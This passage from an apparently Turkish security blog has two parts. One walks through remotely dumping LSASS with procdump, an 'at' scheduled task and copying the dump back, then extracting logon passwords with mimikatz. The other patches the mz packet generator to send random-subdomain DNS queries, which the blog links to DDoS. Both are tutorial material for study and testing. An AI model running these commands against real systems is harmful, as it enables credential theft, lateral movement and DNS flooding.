src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzy8r8Arhp4ZshIvpE9ACJ-4GPaC4h1zg-OXpWZ6JrXTsbfwelaFMugi7QqS-rCsLOPx-Foksamuls5taJwQmsu4rQzUYKt7VL0zwMCaxvM1IjVGdRTjlyUVIWc3bXGc-KHiuuiVVrL1E/s320/07.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Uzak makinenin diski ile map işleminin başlatılması</td></tr></tbody></table>Daha sonra Procdump uygulaması ve betik hedef makineye kopyalanır.<br /><blockquote class="tr_bq"><i>copy C:\Users\Administrator\Desktop\Test\procdump.exe \\192.168.100.101\C$\Yeni_Klasor</i><br /><i>copy C:\Users\Administrator\Desktop\Test\Procdump_Betik.bat \\192.168.100.101\C$\Yeni_Klasor</i></blockquote><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGw4WRFjDXJ3Yu9YBv9tq54wpn27VSCAkkev0QgZrUrqThGfCahnayRafVz09cMwA-aAqe4wc6YUTWkhZvg7NxF_0L8qvSsXQvlIDJBG7X15QTIjojesxyA7HB9Qcjsugr8AA5QUn73HQ/s1600/08.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="36" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGw4WRFjDXJ3Yu9YBv9tq54wpn27VSCAkkev0QgZrUrqThGfCahnayRafVz09cMwA-aAqe4wc6YUTWkhZvg7NxF_0L8qvSsXQvlIDJBG7X15QTIjojesxyA7HB9Qcjsugr8AA5QUn73HQ/s320/08.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Uzak makineye Procdump aracının ve betiğin gönderilmesi</td></tr></tbody></table><br /><div style="text-align: justify;"><b>Not:</b> Yukarıda gerçekleştirilen betiği ve uygulamayı karşı makineye gönderme işlemleri Run penceresi kullanılarak da görsel bir şekilde gerçekleştirilebilirdi.</div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7vS868XAoI8sYQbCK6v6n6IXhzPuI3Y4kugwLdsnrtg12vTBoD52er7HqIddDRfdYDDbqMYSd0VOotuO3JxGl99l_ernBQ8BvhSSQxmXTNj3aVhSdOgHzru0BDL_Ak49-eEVQBoXQivQ/s1600/09.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7vS868XAoI8sYQbCK6v6n6IXhzPuI3Y4kugwLdsnrtg12vTBoD52er7HqIddDRfdYDDbqMYSd0VOotuO3JxGl99l_ernBQ8BvhSSQxmXTNj3aVhSdOgHzru0BDL_Ak49-eEVQBoXQivQ/s320/09.jpg" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Uzak makinenin diskine erişim için alternatif yol (Paylaşıma girilmesi)</td></tr></tbody></table><br />Hedef sistemin saatine bakılır ve bir dakika sonrasında çalışacak şekilde bir zamanlanmış görev oluşturulur.<br /><blockquote class="tr_bq"><i>net time \\192.168.100.101</i><br /><i>at \\192.168.100.101 10:32 C:\Yeni_Klasor\Procdump_Betik.bat</i></blockquote><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqwS7TZg0NmWTlHtTcwsGGYJHAI8OiJ3TE8QbpPl7vwqYHj3vycktYMHlh86b_D2bbeIqTNzNQrk-_mMHCeIoxarG-IuMzlbLQJ1Uk2H-XbFMVuMkkk5iC1GaqZHzURv2658sySQmk6OY/s1600/03.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="61" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqwS7TZg0NmWTlHtTcwsGGYJHAI8OiJ3TE8QbpPl7vwqYHj3vycktYMHlh86b_D2bbeIqTNzNQrk-_mMHCeIoxarG-IuMzlbLQJ1Uk2H-XbFMVuMkkk5iC1GaqZHzURv2658sySQmk6OY/s400/03.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Betiği çalıştırmak için zamanlanmış görevin oluşturulması</td></tr></tbody></table><b><br />Not: </b>Bu işlem yerine hedef makinede çalışacak şekilde PSExec aracı da kullanılabilirdi.<br /><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Zamanlanmış görev çalışması teyit edilir ve oluşan dump dosyası saldırgan makinesine kopyalanır. Kopyalama işlemi tamamlandıktan sonra, oluşturulan klasör silinir.</div><blockquote class="tr_bq"><i>dir \\192.168.100.101\C$\Yeni_Klasor</i><br /><i>copy \\192.168.100.101\C$\Yeni_Klasor\Hedef_LSASS.dmp Desktop\Test</i><br /><i>dir Desktop\Test</i><br /><i>rmdir /s \\192.168.100.101\C$\Yeni_Klasor</i></blockquote><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlfuF79vXsghPggfVUOCVQB3Pttyy_JvIE88A3NfTtR5N5Jwgm_jllajOjTcuFWo2STqJAMjWhO1l9OImVKfdwV3ZGBggPBomaQ_cDZXPuMpaRN7eeFjUEjhHx_M8g8AohfjvEnUjJ2xg/s1600/11.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlfuF79vXsghPggfVUOCVQB3Pttyy_JvIE88A3NfTtR5N5Jwgm_jllajOjTcuFWo2STqJAMjWhO1l9OImVKfdwV3ZGBggPBomaQ_cDZXPuMpaRN7eeFjUEjhHx_M8g8AohfjvEnUjJ2xg/s320/11.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Oluşan dump dosyasının hedef sistemden alınması</td></tr></tbody></table><br />Son durumda saldırganın Test klasöründeki dosyalar şu şekilde olur.<br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAgKMFtvqhm7Rhslb1G5h3_H0cTQ7PaD-AiguLgVs_2Pd3FNWiBMRviGOUeJzW0Jreu-hXSSYTIachKcqn3CwzO3jgah1jrgjmAew7hYMd6mhRYhjGnzzCooqoXt7L3Iz3-35xc7Y4-bU/s1600/12.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAgKMFtvqhm7Rhslb1G5h3_H0cTQ7PaD-AiguLgVs_2Pd3FNWiBMRviGOUeJzW0Jreu-hXSSYTIachKcqn3CwzO3jgah1jrgjmAew7hYMd6mhRYhjGnzzCooqoXt7L3Iz3-35xc7Y4-bU/s320/12.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Elde edilen proses dump dosyasının ve diğer araçların listelenmesi</td></tr></tbody></table><br /><div style="text-align: justify;">Daha önceden bahsedilen adımlar uygulanarak dump dosyasından kullanıcı ve parola bilgileri elde edilir. Kullanılan komutlar şu şekildedir:</div><blockquote class="tr_bq"><i>mimikatz.exe</i><br /><i>sekurlsa::minidump Hedef_LSASS.dmp</i><br /><i>sekurlsa::logonPasswords</i></blockquote><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7eD5UHBbKNYsqfXyHDk6CKh83Fy03KXyligs3FN8jiad0n2d0SnTrAs3Ajq0ap3ijEkDzB9cQezzbhcImGboFqhwHKRFEYrJTN_DGghbkwvowciiuBIVE46hPKErivnN_1P_bhbDThkE/s1600/13.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7eD5UHBbKNYsqfXyHDk6CKh83Fy03KXyligs3FN8jiad0n2d0SnTrAs3Ajq0ap3ijEkDzB9cQezzbhcImGboFqhwHKRFEYrJTN_DGghbkwvowciiuBIVE46hPKErivnN_1P_bhbDThkE/s320/13.png" width="294" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Hedef sistemden alınan proses dump dosyasından parolaların çekilmesi</td></tr></tbody></table><br />

Procdump ve Mimikatz ile LSASS İçerisinden Oturum Açan Kullanıcıların Parolalarını Elde Etme

Mimikatz bir prosesin (içerisinde kimlik bilgileri barındıran LSASS.exe) içinden logon olmuş kullanıcıların parolalarını çekebilmektedir. Bö...

MZ TCP/IP Paket Üretim Yazılımı İçin Rastgele DNS Sorgusu Yaması ve DDOS

<div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-PeFKfSChxMA/UkFLq6XpCVI/AAAAAAAAAcE/Jzmgb8UVz7E/s1600/ddos.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="http://3.bp.blogspot.com/-PeFKfSChxMA/UkFLq6XpCVI/AAAAAAAAAcE/Jzmgb8UVz7E/s200/ddos.jpg" width="200" /></a></div><div style="text-align: justify;"><a href="http://www.perihel.at/sec/mz/" target="_blank">mz</a> hemen her türde TCP/IP paketleri oluşturmaya imkan sağlayan açık kaynak kodlu bir yazılımdır. Özellikle yük testleri için kullanılan yazılım ile hemen her türde paket üretmeye imkan sağlamaktadır. Yazılım ile ilgili gerekli bilgiye <a href="http://www.perihel.at/sec/mz/">http://www.perihel.at/sec/mz/</a> adresinden erişim sağlanabilir.</div><br /><div style="text-align: justify;"><a href="http://www.perihel.at/sec/mz/" target="_blank">mz</a> ile ön tanımlı olarak sadece hostname için dns sorgusu gerçekleştirilebilmektedir. Örneğin <a href="http://www.agguvenligi.net/">www.agguvenligi.net</a> hostname bilgisi kullanılarak dns sorgusu gerçekleştirmek için aşağıdaki mz komut parametresi kullanılabilir;</div><a name='more'></a><br /># mz eth0 -A 10.7.7.42 -B 192.168.1.2 -t dns "q=<a href="http://www.agguvenligi.net/">www.agguvenligi.net</a>"<br /><br /><div style="text-align: justify;">Yukarıdaki şekilde 10.7.7.42 ip adresinden 192.168.1.2 ip adresli dns sunucusuna <a href="http://www.agguvenligi.net/">www.agguvenligi.net</a> dns sorgusu gönderilecektir. </div><br /><div style="text-align: justify;">Ancak dns sorgusunun belirtilen domain için rastgele sorgular üretmesi veya tamamen rastgele domain üretmesi ön tanımlı olarak bulunmamaktadır. Bunun için geliştirilen yamanın uygulanması gerekmektedir. Bunun için aşağidaki adımlar takip edilmelidir.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Öncelikle mz kurulumu için debian tabanli sistemlerde aşağıdaki paketlerin kurulması gerekmektedir. Bunun için aşağidaki komutların çaliştırılması gerekmektedir.</div><div style="text-align: justify;"></div># apt-get install cmake libpcap-dev libnet1-dev libcli-dev<br /><br /># wget http://www.perihel.at/sec/mz/mz-0.40.tar.gz<br /># tar -zxvf mz-0.40.tar.gz<br /># cd mz-0.40<br /># wget <a href="https://raw.github.com/agguvenligi/yamalar/master/mz_random_dns.patch">https://raw.github.com/agguvenligi/yamalar/master/mz_random_dns.patch</a><br /># patch -p1 < mz.patch<br /># cmake .; make; make install <br /><br /><div style="text-align: justify;">İlgili yamanın uygulanmasının ardından gerekli parametrelerin kullanımı için aşağidaki yönergeler takip edilmelidir.</div><br />Tüm domainleri rastgele olarak üretebilmesi için;<br /># /usr/local/sbin/mz -c 2 -A 37.37.37.37 -B 192.168.1.37 -g random_dns<br />00:00:00.000000 IP 37.37.37.37.42000 > 192.168.1.37.53: 16962+ [b2&3=0x500] A? byd.dXCyVxwP.ZQQ. (34)<br />00:00:00.002096 IP 37.37.37.37.42000 > 192.168.1.37.53: 16962+ [b2&3=0x500] A? ZcJ.VTKZJXde.VaY. (34)<br /><br />Verilen domaini rastgele hale getirmek için ise;<br /># /usr/local/sbin/mz -c 2 -A 37.37.37.37 -B 192.168.1.37 -t dns "q=<a href="http://agguvenligi.net/">agguvenligi.net</a>"<br />00:00:05.482711 IP 37.37.37.37.42000 > 192.168.1.37.53: 16962+ [b2&3=0x500] A? kIQMa.agguvenligi.net. (34)<br />00:00:00.002088 IP 37.37.37.37.42000 > 192.168.1.37.53: 16962+ [b2&3=0x500] A? cZkVi.agguvenligi.net. (34)<br /><br />kullanılmalıdır. Görüldüğü gibi geliştirilem yama ile mz aracına rastgele dns sorguları üretme yeneteği sağlanmaktadır.

MZ TCP/IP Paket Üretim Yazılımı İçin Rastgele DNS Sorgusu Yaması ve DDOS

mz hemen her türde TCP/IP paketleri oluşturmaya imkan sağlayan açık kaynak kodlu bir yazılımdır. Özellikle yük testleri için kullanılan yaz...